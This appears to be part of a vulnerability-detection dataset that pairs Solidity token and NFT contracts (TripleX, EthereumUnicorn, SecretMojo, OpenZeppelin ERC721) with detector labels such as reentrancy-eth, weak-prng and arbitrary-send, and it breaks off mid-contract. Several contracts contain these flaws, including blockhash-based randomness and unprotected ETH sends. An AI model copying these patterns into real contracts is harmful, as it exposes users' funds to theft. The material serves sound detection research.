* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {
function sync() external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
}
contract Balancer {
constructor() public {
}
}
contract TripleX is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "TripleX.network";
string private _symbol = "X3";
uint8 private _decimals = 18;
mapping(address => uint256) internal _reflectionBalance;
mapping(address => uint256) internal _tokenBalance;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => uint256) internal _first;
uint256 public firstBuyersCount = 0;
uint256 private constant MAX = ~uint256(0);
uint256 internal _tokenTotal = 17500 ether;
uint256 internal _initialSupply = _tokenTotal;
uint256 internal _reflectionTotal = (MAX - (MAX % _tokenTotal));
mapping(address => bool) isExcludedFromFee;
mapping(address => bool) internal _isExcluded;
address[] internal _excluded;
uint256 public _feeDecimal = 2;
uint256 public _taxFee = 300;
uint256 public _liquidityFee = 600;
uint256 public _rebalanceCallerFee = 500;
uint256 public _taxFeeTotal;
uint256 public _burnFeeTotal;
uint256 public _liquidityFeeTotal;
bool public tradingEnabled = false;
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public rebalanceEnalbed = true;
address payable balancer2;
uint256 public minTokensBeforeSwap = 100;
uint256 public minEthBeforeSwap = 100;
uint256 public liquidityAddedAt;
uint256 public lastRebalance = now ;
uint256 public rebalanceInterval = 15 minutes;
uint256 public lastBuyIn = now ;
uint256 public buyInInterval = 3 minutes;
uint256 public delayTime = 5 minutes;
int256 public manualCycle = -1;
uint256 private _startTime;
uint256 private constant CYCLE_SECONDS = 86400;
uint256 private constant FINAL_CYCLE = 4500;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public balancer;
event TradingEnabled(bool enabled);
event RewardsDistributed(uint256 amount);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapedTokenForEth(uint256 EthAmount, uint256 TokenAmount);
event SwapedEthForTokens(uint256 EthAmount, uint256 TokenAmount, uint256 CallerReward, uint256 AmountBurned);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() public {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
//@dev Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
balancer = address(new Balancer());
isExcludedFromFee[_msgSender()] = true;
isExcludedFromFee[address(this)] = true;
_isExcluded[uniswapV2Pair] = true;
_excluded.push(uniswapV2Pair);
_reflectionBalance[_msgSender()] = _reflectionTotal;
_initEras();
_startTime = block.timestamp;
emit Transfer(address(0), _msgSender(), _tokenTotal);
}
struct Era {
uint256 startCycle;
uint256 endCycle;
int128 cycleInflation;
uint256 finalSupply;
}
Era[3] private _eras;
function _initEras() private {
_eras[0] = Era(1, 7, 737869762948382064, 23028806136627204194304);
_eras[1] = Era(8, 38, 553402322211286548, 55896956891737406570496);
_eras[2] = Era(39, 4520, 184467440737095516, 68945969568917374065704960);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
uint256 cycle = _getCycle(_startTime, block.timestamp);
return _getSupply(_initialSupply, cycle);
}
function _getCycle(uint256 startTime, uint256 currentTime) private view returns(uint256) {
if (manualCycle >= 0) {
return uint256(manualCycle);
}
uint256 secondsElapsed = currentTime.sub(startTime);
uint256 cycle = (secondsElapsed - (secondsElapsed % CYCLE_SECONDS)) / CYCLE_SECONDS + 1;
if (cycle >= FINAL_CYCLE) return FINAL_CYCLE;
return cycle;
}
function _getSupply(uint256 initialSupply, uint256 currentCycle) private view returns(uint256) {
uint256 currentSupply = initialSupply;
for (uint256 i = 0; i < _eras.length; i++) {
Era memory era = _eras[i];
if (currentCycle > era.endCycle) {
currentSupply = era.finalSupply;
} else {
currentSupply = _compound(currentSupply, era.cycleInflation, currentCycle.sub(era.startCycle));
break;
}
}
return currentSupply;
}
function _compound(uint256 principle, int128 rate, uint256 periods) private pure returns(uint256){
uint256 result = ABDKMath64x64.mulu(
ABDKMath64x64.pow (
ABDKMath64x64.add (
0x10000000000000000,
rate),
periods), principle);
return result;
}
function balanceOf(address account) public override view returns (uint256) {
if (_isExcluded[account]) return _tokenBalance[account];
return tokenFromReflection(_reflectionBalance[account]);
}
function transfer(address recipient, uint256 amount)
public
override
virtual
returns (bool)
{
_transfer(_msgSender(),recipient,amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override virtual returns (bool) {
_transfer(sender,recipient,amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub( amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tokenAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tokenAmount <= totalSupply(), "Amount must be less than supply");
if (!deductTransferFee) {
return tokenAmount.mul(_getReflectionRate());
} else {
return
tokenAmount.sub(tokenAmount.mul(_taxFee).div(10** _feeDecimal + 2)).mul(_getReflectionRate());
}
}
function tokenFromReflection(uint256 reflectionAmount)
public
view
returns (uint256)
{
require(
reflectionAmount <= _reflectionTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getReflectionRate();
return reflectionAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(
account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
"AERUS: Uniswap router cannot be excluded."
);
require(account != address(this), 'AERUS: The contract it self cannot be excluded');
require(!_isExcluded[account], "AERUS: Account is already excluded");
if (_reflectionBalance[account] > 0) {_tokenBalance[account] = tokenFromReflection(_reflectionBalance[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "AERUS: Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tokenBalance[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(tradingEnabled || sender == owner() || recipient == owner() ||
isExcludedFromFee[sender] || isExcludedFromFee[recipient], "Trading is locked before presale.");
if (firstBuyersCount < 4 && uniswapV2Pair == sender && sender != owner()) {
firstBuyersCount++;
_first[recipient] = block.timestamp;
}
if (uniswapV2Pair == recipient && _first[sender] + delayTime > block.timestamp) {
revert();
}
if(!inSwapAndLiquify && sender != uniswapV2Pair && sender != owner()) {
bool swap = true;
uint256 contractBalance = address(this).balance;
//@dev Buy tokens
if(now > lastRebalance + rebalanceInterval
&& rebalanceEnalbed
&& contractBalance >= minEthBeforeSwap){
buyAndBurnToken(contractBalance);
swap = false;
}
if(swap) {
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap;
if (now > lastBuyIn + buyInInterval &&
overMinTokenBalance &&
swapAndLiquifyEnabled) {
swapTokensForEth();
lastBuyIn = now;
}
}
}
uint256 transferAmount = amount;
uint256 rate = _getReflectionRate();
if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient] && !inSwapAndLiquify){
transferAmount = collectFee(sender,amount,rate);
}
_reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate));
_reflectionBalance[recipient] = _reflectionBalance[recipient].add(transferAmount.mul(rate));
//@dev If any account belongs to the excludedAccount transfer token
if (_isExcluded[sender]) {
_tokenBalance[sender] = _tokenBalance[sender].sub(amount);
}
if (_isExcluded[recipient]) {
_tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount);
}
emit Transfer(sender, recipient, transferAmount);
}
function collectFee(address account, uint256 amount, uint256 rate) private returns (uint256) {
uint256 transferAmount = amount;
//@dev Tax fee
if(_taxFee != 0){
uint256 taxFee = amount.mul(_taxFee).div(10**(_feeDecimal + 2));
transferAmount = transferAmount.sub(taxFee);
_reflectionTotal = _reflectionTotal.sub(taxFee.mul(rate));
_taxFeeTotal = _taxFeeTotal.add(taxFee);
emit RewardsDistributed(taxFee);
}
//@dev Take liquidity fee
if(_liquidityFee != 0){
uint256 liquidityFee = amount.mul(_liquidityFee).div(10**(_feeDecimal + 2));
transferAmount = transferAmount.sub(liquidityFee);
_reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(liquidityFee.mul(rate));
_liquidityFeeTotal = _liquidityFeeTotal.add(liquidityFee);
emit Transfer(account,address(this),liquidityFee);
}
return transferAmount;
}
function _getReflectionRate() private view returns (uint256) {
uint256 reflectionSupply = _reflectionTotal;
uint256 tokenSupply = totalSupply();
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_reflectionBalance[_excluded[i]] > reflectionSupply ||
_tokenBalance[_excluded[i]] > tokenSupply
) return _reflectionTotal.div(totalSupply());
reflectionSupply = reflectionSupply.sub(
_reflectionBalance[_excluded[i]]
);
tokenSupply = tokenSupply.sub(_tokenBalance[_excluded[i]]);
}
if (reflectionSupply < _reflectionTotal.div(totalSupply()))
return _reflectionTotal.div(totalSupply());
return reflectionSupply.div(tokenSupply);
}
function swapTokensForEth() private {
_swapTokensForEth(address(this));
}
function _swapTokensForEth(address to) private lockTheSwap {
uint256 tokenAmount = balanceOf(address(this));
//@dev Generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
//@dev Make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
to,
block.timestamp
);
}
function swapEthForTokens(uint256 EthAmount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: EthAmount}(
0,
path,
address(balancer),
block.timestamp
);
}
function buyAndBurnToken(uint256 contractBalance) private lockTheSwap {
lastRebalance = now;
//@dev Uniswap doesn't allow for a token to buy itself, so we have to use an external account, which in this case is called the balancer
uint256 laterBuyback = 0;
if (balancer2 != address(0)) {
laterBuyback = contractBalance.mul(7).div(10);
balancer2.transfer(laterBuyback);
}
swapEthForTokens(contractBalance.sub(laterBuyback));
//@dev How much tokens we swaped into
uint256 swapedTokens = balanceOf(address(balancer));
uint256 rewardForCaller = swapedTokens.mul(_rebalanceCallerFee).div(10**(_feeDecimal + 2));
uint256 amountToBurn = swapedTokens.sub(rewardForCaller);
uint256 rate = _getReflectionRate();
_reflectionBalance[tx.origin] = _reflectionBalance[tx.origin].add(rewardForCaller.mul(rate));
_reflectionBalance[address(balancer)] = 0;
_burnFeeTotal = _burnFeeTotal.add(amountToBurn);
_reflectionTotal = _reflectionTotal.sub(amountToBurn.mul(rate));
emit Transfer(address(balancer), tx.origin, rewardForCaller);
emit Transfer(address(balancer), address(0), amountToBurn);
emit SwapedEthForTokens(contractBalance, swapedTokens, rewardForCaller, amountToBurn);
}
function setExcludedFromFee(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function setSwapAndLiquifyEnabled(bool enabled) public onlyOwner {
swapAndLiquifyEnabled = enabled;
SwapAndLiquifyEnabledUpdated(enabled);
}
function setTaxFee(uint256 fee) public onlyOwner {
_taxFee = fee;
}
function setLiquidityFee(uint256 fee) public onlyOwner {
_liquidityFee = fee;
}
function setRebalanceCallerFee(uint256 fee) public onlyOwner {
_rebalanceCallerFee = fee;
}
function setMinTokensBeforeSwap(uint256 amount) public onlyOwner {
minTokensBeforeSwap = amount;
}
function setMinEthBeforeSwap(uint256 amount) external onlyOwner {
minEthBeforeSwap = amount;
}
function setBalancer(address payable addr) external onlyOwner {
balancer2 = addr;
}
function multiTransfer(address[] memory addresses, uint256 amount) external {
for (uint256 i = 0; i < addresses.length; i++) {
transfer(addresses[i], amount);
}
}
function setRebalanceInterval(uint256 interval) external onlyOwner {
rebalanceInterval = interval;
}
function setRebalanceEnabled(bool enabled) external onlyOwner {
rebalanceEnalbed = enabled;
}
function setManualCycle(int256 cycle) external onlyOwner {
manualCycle = cycle;
}
function setBuyInInterval(uint256 interval) external onlyOwner {
buyInInterval = interval;
}
function enableTrading() external onlyOwner() {
tradingEnabled = true;
TradingEnabled(true);
liquidityAddedAt = now;
}
receive() external payable {}
} | These are the vulnerabilities found
1) reentrancy-eth with High impact
2) weak-prng with High impact
3) divide-before-multiply with Medium impact
4) arbitrary-send with High impact |
//SPDX-License-Identifier: Unlicense
// ----------------------------------------------------------------------------
// 'EthereumUnicorn' token contract
//
// Symbol : ETHU 🦄
// Name : Ethereum Unicorn
// Total supply: 100000000000000
// Decimals : 18
//
// TOTAL SUPPLY 1,000,000,000,000,000
// 50% Burned
// ----------------------------------------------------------------------------
pragma solidity ^0.7.0;
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract EthereumUnicorn is Owned,ERC20{
uint256 public maxSupply;
constructor(address _owner) {
symbol = unicode"ETHU 🦄";
name = "Ethereum Unicorn";
decimals = 18;
totalSupply = 1000000000000000*10**uint256(decimals);
maxSupply = 1000000000000000*10**uint256(decimals);
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SecretMojo is ERC721, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private tokenIdCounter;
enum State {PENDING, AVAILABLE, PAID, FREE, PAUSED, PRE_REVEALED, REVEALED}
State public state = State.PENDING;
uint32 public maxSupply;
uint256 public paidSupplyLimit = 4000;
uint256 public paidMintCount;
//0.05 eth
uint256 public tokenPrice = 50_000_000_000_000_000;
uint8 public maxMintPerTx = 10;
uint8 public secretARange = 0;
uint8 public secretBRange = 0;
uint8 public secretAShifter = 0;
uint8 public secretBShifter = 0;
mapping(uint256 => bool) public freeTokens;
mapping(address => uint8) public freeTokenQuota;
mapping(uint256 => uint8) public secretAOverride;
mapping(uint256 => uint8) public secretBOverride;
string public baseURI;
string public defaultUrl;
constructor(string memory name_, string memory symbol_, uint32 maxSupply_, string memory baseURI_, string memory defaultUrl_) ERC721(name_, symbol_) {
maxSupply = maxSupply_;
baseURI = baseURI_;
defaultUrl = defaultUrl_;
}
function freeMint() external {
require(state == State.FREE || state == State.AVAILABLE, "Wrong state for freeMint");
freeTokenQuota[msg.sender] -= 1;
tokenIdCounter.increment();
uint256 tokenId = tokenIdCounter.current();
freeTokens[tokenId] = true;
_mint(msg.sender, tokenId);
}
function mint() external payable {
require(state == State.PAID || state == State.AVAILABLE, "Wrong state for mint");
require(paidMintCount < paidSupplyLimit, "paidSupplyLimit reached");
require(msg.value == tokenPrice, "Insufficient funds");
paidMintCount += 1;
tokenIdCounter.increment();
uint256 tokenId = tokenIdCounter.current();
_mint(msg.sender, tokenId);
}
function freeMintBatch(uint8 quantity) external {
require(state == State.FREE || state == State.AVAILABLE, "Wrong state for freeMint");
freeTokenQuota[msg.sender] -= quantity;
for (uint i = 0; i < quantity; i++) {
tokenIdCounter.increment();
uint256 tokenId = tokenIdCounter.current();
freeTokens[tokenId] = true;
_mint(msg.sender, tokenId);
}
}
function mintBatch(uint8 quantity) external payable {
require(state == State.PAID || state == State.AVAILABLE, "Wrong state for mint");
require(quantity <= maxMintPerTx, "maxMintPerTx can not be exceed.");
require(paidMintCount + quantity <= paidSupplyLimit, "paidSupplyLimit reached");
uint256 cost = quantity * tokenPrice;
require(msg.value == cost, "Insufficient funds");
paidMintCount += quantity;
for (uint i = 0; i < quantity; i++) {
tokenIdCounter.increment();
uint256 tokenId = tokenIdCounter.current();
_mint(msg.sender, tokenId);
}
}
function _mint(address to, uint256 tokenId) internal override {
require(tokenId <= maxSupply, "Can not exceed maxSupply");
ERC721._mint(to, tokenId);
}
function setState(State state_) external onlyOwner() {
state = state_;
if (state == State.PRE_REVEALED && secretAShifter == 0 ) {
secretAShifter = uint8(uint256(keccak256(abi.encodePacked(tokenIdCounter.current(), blockhash(block.number), block.difficulty))) % secretARange + 1);
secretBShifter = uint8(uint256(keccak256(abi.encodePacked(tokenIdCounter.current(), blockhash(block.number), block.difficulty))) % secretBRange + 1);
}
}
function setTokenPrice(uint256 tokenPrice_) external onlyOwner() {
tokenPrice = tokenPrice_;
}
function setPaidSupplyLimit(uint256 paidSupplyLimit_) external onlyOwner() {
paidSupplyLimit = paidSupplyLimit_;
}
function setMaxSupply(uint32 maxSupply_) external onlyOwner() {
maxSupply = maxSupply_;
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
baseURI = baseURI_;
}
function setDefaultUrl(string memory defaultUrl_) external onlyOwner() {
defaultUrl = defaultUrl_;
}
function setSecretARange(uint8 secretARange_) external onlyOwner() {
secretARange = secretARange_;
}
function setSecretBRange(uint8 secretBRange_) external onlyOwner() {
secretBRange = secretBRange_;
}
function setMaxMintPerTx(uint8 maxMintPerTx_) external onlyOwner() {
maxMintPerTx = maxMintPerTx_;
}
function addFreeTokenQuota(address[] calldata addresses, uint8 quota) external onlyOwner() {
for (uint i = 0; i < addresses.length; i++) {
freeTokenQuota[addresses[i]] = quota;
}
}
function overrideTokenSecretA(uint256 tokenId, uint8 newValue) external onlyOwner() {
secretAOverride[tokenId] = newValue;
}
function overrideTokenSecretB(uint256 tokenId, uint8 newValue) external onlyOwner() {
secretBOverride[tokenId] = newValue;
}
function totalSupply() external view returns (uint256) {
return tokenIdCounter.current();
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "SecretMojo: URI query for nonexistent token");
if (state == State.REVEALED) {
return string(abi.encodePacked(baseURI, tokenId.toString()));
}
return string(abi.encodePacked(defaultUrl, tokenId.toString()));
}
function tokenSecrets(uint256 tokenId) public view virtual returns (uint8 secretA, uint8 secretB) {
require(_exists(tokenId), "SecretMojo: URI query for nonexistent token");
require(state == State.PRE_REVEALED || state == State.REVEALED, "SecretMojo: not in Revealed State");
secretA = secretAOverride[tokenId];
if (secretA == 0) {
secretA = uint8((tokenId + secretAShifter) % secretARange) + 1;
}
secretB = secretBOverride[tokenId];
if (secretB == 0) {
secretB = uint8((tokenId + secretBShifter) % secretBRange) + 1;
}
}
function withdrawEth(uint256 amount, address payable receiver) external onlyOwner() {
receiver.transfer(amount);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
